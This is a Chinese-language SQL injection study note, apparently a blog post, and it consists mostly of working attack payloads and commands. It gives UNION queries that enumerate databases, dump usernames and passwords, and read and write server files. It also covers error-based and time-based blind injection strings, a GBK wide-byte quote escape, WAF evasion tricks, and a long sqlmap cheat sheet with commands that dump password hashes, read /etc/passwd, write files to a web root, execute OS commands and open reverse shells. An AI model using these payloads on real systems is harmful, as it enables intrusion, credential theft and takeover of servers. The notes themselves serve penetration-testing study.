sql注入笔记

1. 数据库信息收集

  • order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,...
  • 查询数据库version()
  • 数据库名字databaase()
  • 数据库用户user()
  • 操作系统 @@version_compile_os

2. mysql5.0以上,存在information_schema数据库

在bp中get后面的参数已经是通过url编码后得结果,所以如果要进行修改需要按照url编码的方式修改, 如空格写成20%,或者写成+号,而post提交的数据不需要进行编码直接修改就可以;在浏览器的url地址栏中可以写本身的字符,在发送get请求时浏览器会自动对get中的特殊符号进行url编码处理

字段含义: chema_name数据库名, table_name表名, column_name列名
筛选条件:

  • 爆出所有数据库
    127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
  • 获取指定数据库所有表
    127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'
  • 获取指定表中所有的列名
    127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'pikachu' and table_name = 'users'
  • 查询表中的数据
    http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users
  • 写入文件和读取文件,条件: myslq中的 --secure-file-priv选项关闭
    读取文件: load_file()读取函数
    http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('C:\\1.txt'),3
    写入文件: into outfileinto dumpfile:写入文件
    http://127.0.0.1:8888/Less-2/?id=-1 union select 1,'x',3 into outfile 'c:\\1.txt' 将 1, 'x', 3 写入文件1.txt

3. 盲注-报错,时间,布尔

盲注说明: 当数据无回显时, 或者说使用insert update 语句时可以使用盲注

3.1 报错盲注-insert/update/delete(示例为字符型注入原始payload数据)

  • 基于floor函数报错
'or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or ' 
  • 基于extractvalue函数报错
' or extractvalue(1,concat(0x7e,database()))  or' 
  • 基于UpdateXml函数报错
' or updatexml(1,concat(0x7e,database()),0)  or'

3.2 报错盲注-insert/update/delete(示例为数字型注入原始payload数据)

  • 基于floor函数报错
id =1 or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • 基于extractvalue函数报错
id=1 or extractvalue(1,concat(0x7e,database()))
  • 基于updatexml函数报错
id=1 or updatexml(1,concat(0x7e,database()),0) 

3.3 时间盲注

常用函数:

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+

4.宽字节注入

当使用addslashes()函数防止注入时,设置mysql客户端来源编码是gbk
'会被转义为\' 对应的url编码为%5c%27, 此时如果再次之前加入%df将会导致%df%5c被gbk编码识别为 運 , 导致解析结果为運' 造成单引号逃逸
对应payload为name=tom%df' union select database(),2--+

5. waf绕过

  • 大小写/关键字替换 ,双写
  • 编解码, 加解密
  • 垃圾数据绕过,
    (Select 0xA*1000)+UnIoN+SeLeCT+1...
    a0=0&a1=1&.....&a100=100&id=1 union select 1...
  • 变换请求方式
  • 白名单伪造(ip/爬虫/url)
  • 注释中加干扰字符,如 /*dfsjhajklsafd*/会被解析为空格
  • /*! */; 中的语句会正常执行, 并且可以加多个/*!/*! */;
  • 版本号/*!44509 select */;
  • 注释(# %23)和换行符(%0a)混用, 如select%23asfasd%oa1,2,3=>select 1,2,3
  • 参数污染: a=1&a=2
  • 特殊符号~ ` ! @ % () [] .- + | %00

6. sqlmap使用

基本操作笔记:
-u  #注入点 
-r  "http请求数据包文件"  # 通过http数据包文件注入,注入点用*标识
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
--user-agent ""  #自定义user-agent 
--proxy "http://127.0.0.1:8118" #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt 

常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2 
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass"  -v 1 --exclude-sysdbs 
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2 
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2 
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1 
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2 
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1 
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1 
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta 
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner 
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"

简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 
2.判断当前数据库用户权限 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1 
3.读取所有数据库用户或指定数据库用户的密码 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2 
4.获取所有数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 
5.获取指定数据库中的所有表 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2 
6.获取指定数据库名中指定表的字段 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2 
7.获取指定数据库名中指定表中指定字段的数据 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
8.file-read读取web文件 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2 
9.file-write写入文件到web 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • SQL注入是由于程序员过于相信用户输入的数据所产生的。 假设后台查询语句如下: SELECT USERNAME,U...
    _mq阅读 377评论 0 1
  • SQL注入 判断数字型和字符型还有闭合的原理 数字型的sql语句: 字符型的sql语句: 拿数字型来说,你不管在后...
    佩玖吟阅读 752评论 0 3
  • 1.判断是否可以注入 www.xxx.com/123.php?id=125 '页面有部分不显示,不报错 www.x...
    FKTX阅读 172评论 0 1
  • Sql注入笔记 一、思路 闭合方式 --> 判断类型 --> 测试绕过 oder by查字段数 --> sele...
    32p8阅读 617评论 0 0
  • 什么是SQL? SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。...
    RainClv阅读 802评论 0 1

友情链接更多精彩内容